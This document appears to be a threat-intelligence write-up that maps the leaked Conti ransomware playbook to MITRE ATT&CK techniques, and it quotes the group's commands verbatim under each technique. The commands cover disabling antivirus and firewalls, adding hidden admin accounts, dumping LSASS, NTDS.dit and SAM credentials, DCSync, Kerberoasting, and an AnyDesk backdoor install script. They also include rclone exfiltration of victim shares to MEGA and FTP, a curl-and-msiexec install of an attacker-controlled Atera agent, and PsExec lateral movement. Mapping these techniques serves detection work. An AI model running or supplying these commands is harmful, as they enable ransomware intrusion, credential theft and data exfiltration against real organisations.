Conti Leaked Playbook TTPs

Tactic Specific

Execution

ID	Tactic	Context
T1059.003	Command and Scripting Interpreter: Windows Command Shell	- Executing `trendmicro pass AV remove.bat` to remove AV - Executing multiple commands from Windows Command Shell using Cobalt Strike
T1059.001	Command and Scripting Interpreter: PowerShell	- Executing `rclonemanager.ps1` to automate their exfiltration. - Executing multiple commands from PowerShell using Cobalt Strike
T1053.005	Scheduled Task/Job: Scheduled Task	- Cobalt Strike commands for scheduling tasks - `shell SCHTASKS /s ip\hostname /RU "SYSTEM" /create /tn "WindowsSensor15" /tr "cmd.exe /c C:\ProgramData\P32.exe" /sc ONCE /sd 01/01/1970 /st 00:00` - `shell SCHTASKS /s ip\hostname /run /TN "WindowsSensor15"` - `shell schtasks /S ip\hostname /TN "WindowsSensor15" /DELETE /F`

Persistence

ID	Tactic	Context
T1136.001	Create Account: Local Account	- Create separate admin user for `ngrok` - `net user Admin Password1 /add` - `net localgroup Administrators Admin /add` - Create separate admin user for `AnyDesk` - `net user oldadministrator "qc69t4B#Z0kE3" /add` - `net localgroup Administrators oldadministrator /ADD` - `reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f`

Defense Evasion

ID	Tactic	Context

T1562.001	Impair Defenses: Disable or Modify Tools	• Using `Bitdefender_2019_Uninstall_Tool.exe` to uninstall any Bitdefender products. • Using `gmer.exe`, `PCHunter32/64.exe`, `PowerTool/64.exe` to disable Windows Defender and delete `MsMpEng.dll` • Using `trendmicro pass AV remove.bat` to uninstall Trend Micro AV products. • Disable Microsoft Defender using `powershell Set-MpPreference -DisableRealtimeMonitoring $true` • Disable Microsoft Defender using GUI on RDP • Open `gpedit.msc` • `Computer Configuration - Administrative Templates - Windows Components - Windows Defender` • Disable “Protection in Real Time”
T1112	Modify Registry	• Modify registry to allow Trend Micro AV uninstallation `reg add "HKLM\SOFTWARE\Wow6432Node\TrendMicro\PC-cillinNTCorp\CurrentVersion\Misc." /v "Allow Uninstall" /t REG_DWORD /d 1 /f` • Modify registry to allow RDP connections `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f && reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f` • Add registry using PowerShell to enable/change RDP port • `Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name PortNumber -Value 1350`
T1562.004	Impair Defenses: Disable or Modify System Firewall	• Modify firewall to allow RDP connections • `NetSh Advfirewall set allprofiles state off` • `netsh advfirewall firewall set rule group="remote desktop" new enable=Yes` • `netsh firewall set service type = remotedesktop mode = enable` • Add firewall rules using PowerShell to enable/change RDP port • `New-NetFirewallRule -DisplayName "New RDP Port 1350" -Direction Inbound -LocalPort 1350 -Protocol TCP -Action allow` • `New-NetFirewallRule -DisplayName "New RDP Port 1350" -Direction Inbound -LocalPort 1350 -Protocol UDP -Action allow`

Credential Access

ID	Tactic	Context
T1003.003	OS Credential Dumping: NTDS	Creating a volume shadow copy and extracting `NTDS.dit` • `wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"` • `wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\NTDS\NTDS.dit c:\temp\log\ & copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System32\config\SYSTEM c:\temp\log\ & copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System32\config\SECURITY c:\temp\log"` Using `esentutl` (S0404) to get `NTDS.dit` • `Esentutl /p C:\log\ntds.dit`

T1003.002	OS Credential Dumping: Security Account Manager	Extracting `SECURITY`, `SYSTEM` registry hives from volume shadow copy - `wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\NTDS\NTDS.dit c:\temp\log\ & copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System32\config\SYSTEM c:\temp\log\ & copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy55\Windows\System32\config\SECURITY c:\temp\log"`
T1003.001	OS Credential Dumping: LSASS Memory	- `rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full` - `wmic /node:[target] process call create "cmd /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full"` - `remote-exec psexec [target] cmd /c rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump PID C:\ProgramData\lsass.dmp full` (Cobalt Strike command) - Dump using `taskmgr` GUI while TA is on RDP - Open `taskmgr` - Go to `lsass` process - “Create Dump File” - Using `mimikatz` to analyse LSASS dump - `privilege::debug` - `sekurlsa::minidump A:\3.WORK\BL-ws20\lsass.DMP` - `log` - `sekurlsa::logonpasswords`
T1003.006	OS Credential Dumping: DCSync	- After `make_token` is executed, `dcsync` is used - `make_token FMH\maysys 34stb4y@345 14` - `dcsync FMH`
T1110.004	Brute Force: Credential Stuffing	- Use of PowerShell script to brute force SMB shares using Cobalt Strike - `powershell-import /tmp/Fast-Guide/Invoke-SMBAutoBrute.ps1` - `psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Welcome1, 1qazXDR% +" -LockoutThreshold 5`

Discovery

ID	Tactic	Context
T1046	Network Service Scanning	- Using `RouterScan.exe` - Using `NetScan` - `netscan.exe /hide /auto:"result.xml" /config:netscan.xml /range:192.168.0.1-192.168.1.255`
T1082	System Information Discovery	- Using `wmic` to enumerate shadow volumes - `wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c vssadmin list shadows >> c:\log.txt"`
T1018	Remote System Discovery	- `powershell Get-DomainController` - `powershell Get-DomainComputer -OperatingSystem *server* -Properties dnshostname` - `powershell get-adcomputer -filter * | select -expand name` - `nltest /dclist:"NameDomain"` - `net view /all /domain`

T1087.002	Account Discovery: Domain Account	- `net group "Domain Admins" /domain` - `net group "Enterprise Admins" /domain`
T1016	System Network Configuration Discovery	- `powershell Get-NetSubnet`
T1482	Domain Trust Discovery	- `nltest /domain_trusts /all_trusts`

Collection

ID	Tactic	Context
T1560.001	Archive Collected Data: Archive via Utility	Archiving `NTDS.dit`, `SECURITY`, `SYSTEM` using 7-zip - `7za.exe a -tzip -mx5 \DC01\C$\temp\log.zip \DC01\C$\temp\log -pTOPSECRETPASSWORD`

Command and Control

ID	Tactic	Context

T1219	Remote Access Software	- Using `AnyDesk`, automated script for setting up.
		  - `Function AnyDesk {`
		`mkdir "C:\ProgramData\AnyDesk"`
		`# Download AnyDesk`
		`$clnt = new-object System.Net.WebClient`
		`$url = "http://download.anydesk.com/AnyDesk.exe"`
		`$file = "C:\ProgramData\AnyDesk.exe"`
		`$clnt.DownloadFile($url,$file)`
		`cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent`
		`cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --set-password`
		`net user oldadministrator "qc69t4B#Z0kE3" /add`
		`net localgroup Administrators oldadministrator /ADD`
		`reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f`
		`cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id`
		`}`
		`AnyDesk`
		- Using Splashtop for RMM `RMM_Client.exe` with Atera Agent

T1071.002	Application Layer Protocol: File Transfer Protocols	- Use of `Filezilla` FTP to execute commands on system

Exfiltration

ID	Tactic	Context

<table>
<tr><th></th><th></th><th></th></tr>
<tr><td>T1567.002</td><td>Exfiltration Over Web Service: Exfiltration to Cloud Storage</td><td>- Using rclone.exe to upload victim data to MEGA
  - rclone.exe copy "\envisionpharma.com\IT\KLSHARE" Mega:Finanse -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12
- Using rclone.exe to exfiltrate using FTP
  - rclone.exe copy "\PETERLENOVO.wist.local\Users" ftp1:uploads/Users/ -q --ignore-existing --auto-confirm --multi-thread-streams 3 --transfers 3</td></tr>
<tr><td>T1020</td><td>Automated Exfiltration</td><td>- By mentioning SMB shares in 2load.txt, TA executes rclonemanager.ps1 which ingests share information from .txt file and automates the exfiltration.</td></tr>
<tr><td>T1048.003</td><td>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol</td><td>- Using FileZilla for connecting to victim and file exfiltration. Script for sorting files using output from adfind.exe:
  - #!/bin/bash

OUTPATH="sorted"
F1INPATH="ad_computers.txt"
F2INPATH="ad_users.txt"
F2OUTPATH="ad_users_result.txt"

mkdir "$OUTPATH"

while read p; do

if [[${p:0:17} == ">operatingSystem:"]]; then
OSPATH=${p:18}
fi

if [[${p:0:13} == ">dNSHostName:"]]; then
if [[${OSPATH:0:14} == "Windows Server"]]; then
echo ${p:14} >> "$OUTPATH/SERVERS.txt"
tmp=$(echo "$OSPATH" | cut -d' ' -f1-3)
echo ${p:14} >> "$OUTPATH/$tmp.txt"
else
echo ${p:14} >> "$OUTPATH/WORKERS.txt"
tmp=$(echo "$OSPATH" | cut -d' ' -f1-2)
echo ${p:14} >> "$OUTPATH/$tmp.txt"
fi
fi

done < $F1INPATH

while read p; do

if [[${p:0:13} == ">description:"]]; then
DECR=${p:14}
DECR=${DECR%$'\r'}
fi

if [[${p:0:16} == ">sAMAccountName:"]]; then
ACCNAME=${p:17}
ACCNAME=${ACCNAME%$'\r'}
echo "$ACCNAME:$DECR" >> "$OUTPATH/$F2OUTPATH"
fi

done < $F2INPATH</td></tr>
</table>

Software Specific

Cobalt Strike (S0154)

ID	Tactic	Context
T1059.003	Command and Scripting Interpreter: Windows Command Shell	Use of `shell` to execute variety of commands while exploitation.
T1059.001	Command and Scripting Interpreter: PowerShell	Use of `powershell` to execute variety of commands while exploitation.
T1055	Process Injection	Use of `psinject` to inject PowerShell and execute malicious code.
T1047	Windows Management Instrumentation	• Use of `wmic` to create processes as domain admin for execution. • `shell wmic /node:"DC01" /user:"DOMAIN\admin" /password:"cleartextpass" process call create "cmd /c vssadmin list shadows >> c:\log.txt"` • Use of `wmic` to launch EXEs & DLLs • `shell wmic /node:10.28.0.3 process call create "C:\ProgramData\j1.exe"` • `shell wmic /node:172.16.0.36 process call create "rundll32.exe C:\ProgramData\p64.dll StartW"` • Use of `remote-exec wmi` • `remote-exec wmi FMH-DC01 rundll32.exe C:\ProgramData\tlt.dll StartW` • Use of `wmi` to run application on another PC • `shell wmic /node:"PC NAME" process call create "COMMAND TO BE EXECUTED"`
T1087.002	Account Discovery: Domain Account	Cobalt Strike can determine if the user on an infected machine is in the admin or domain admin group.
T1548.002	Abuse Elevation Control Mechanism: Bypass User Account Control	Cobalt Strike bypasses UAC using Token Duplication
T1543.003	Create or Modify System Process: Windows Service	Cobalt Strike can install a new service for elevated privileges.

AdFind (S0552)

ID	Tactic	Context
T1087.002	Account Discovery: Domain Account	AdFind can enumerate domain users. `adfind.exe -f "(objectcategory=person)" > ad_users.txt`

T1482	Domain Trust Discovery	AdFind can gather information about organizational units (OUs) and domain trusts from Active Directory.
		`adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt`
		`adfind.exe -gcb -sc trustdmp > trustdmp.txt`

T1069.002	Permission Groups Discovery: Domain Groups	AdFind can enumerate domain groups.
		`adfind.exe -f "(objectcategory=group)" > ad_group.txt`
		`adfind.exe -f objectcategory = computer -csv name cn OperatingSystem dNSHostName> some.csv`

T1018	Remote System Discovery	AdFind has the ability to query Active Directory for computers. `adfind.exe -f "objectcategory=computer" > ad_computers.txt`

T1016	System Network Configuration Discovery	AdFind can extract subnet information from Active Directory. `adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt`

PowerSploit (S0194)

ID	Tactic	Context
T1558.003	Steal or Forge Kerberos Tickets: Kerberoasting	PowerSploit's Invoke-Kerberoast to request service tickets and return crackable ticket hashes. • `psinject 4728 x86 Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath c:\ProgramData\pshashes.txt -append -force -encoding UTF8` (Cobalt Strike command)
T1059.001	Command and Scripting Interpreter: PowerShell	`PowerView.ps1` is written in PowerShell
T1055.002	Process Injection: Portable Executable Injection	Process injection is used to execute `Invoke-UserHunter` using Cobalt Strike. `psinject 1884 x64 Invoke-UserHunter -Threads 20 -UserFile C:\ProgramData\list.txt >> C:\ProgramData\out.txt`
T1087.002	Account Discovery: Domain Account	`Invoke-UserHunter` can enumerate domain users.
T1018	Remote System Discovery	`Invoke-UserHunter` can enumerate list of computers.
T1135	Network Share Discovery	`Invoke-ShareFinder` can enumerate list of shares • `psinject 7080 x64 Invoke-ShareFinder -CheckShareAccess -Verbose | Out-File -Encoding ascii C:\ProgramData\found_shares.txt` (Cobalt Strike command)

Ngrok (S0508)

ID	Tactic	Context
T1572	Protocol Tunneling	Ngrok can tunnel RDP and other services securely over internet connections. • `ngrok authtoken 1vZgA1BbLWyhSjIE0f36QG6derd_5fXEPgPp8ZLxbUg` • `ngrok tcp 3389`

PsExec (S0029)

ID	Tactic	Context
T1021.002	Remote Services: SMB/Windows Admin Shares	• Accessing shares to copy a file, `COPY.BAT` • `start PsExec.exe /accepteula @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c COPY "\PRIMARY DOMAIN CONTROLLER\share$\fx166.exe" "C:\windows\temp"`
T1569.002	System Services: Service Execution	• Executing a file, `EXE.BAT` • `PsExec.exe -d @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c c:\windows\temp\fx166.exe`

Atera Agent

ID	Tactic	Context
T1059.003	Command and Scripting Interpreter: Windows Command Shell	• Command to install Altera Agent • `curl -o setup.msi "http://REDACTED.servicedesk.atera.com/GetAgent/Msi/?customerId=1&integratorLogin=REDACTED%40protonmail.com" && msiexec /i setup.msi /qn IntegratorLogin=REDACTED@protonmail.com CompanyId=1` • `shell setup_undefined.msi`
T1127	Trusted Developer Utilities Proxy Execution	• Usage of MSBuild to install Atera Agent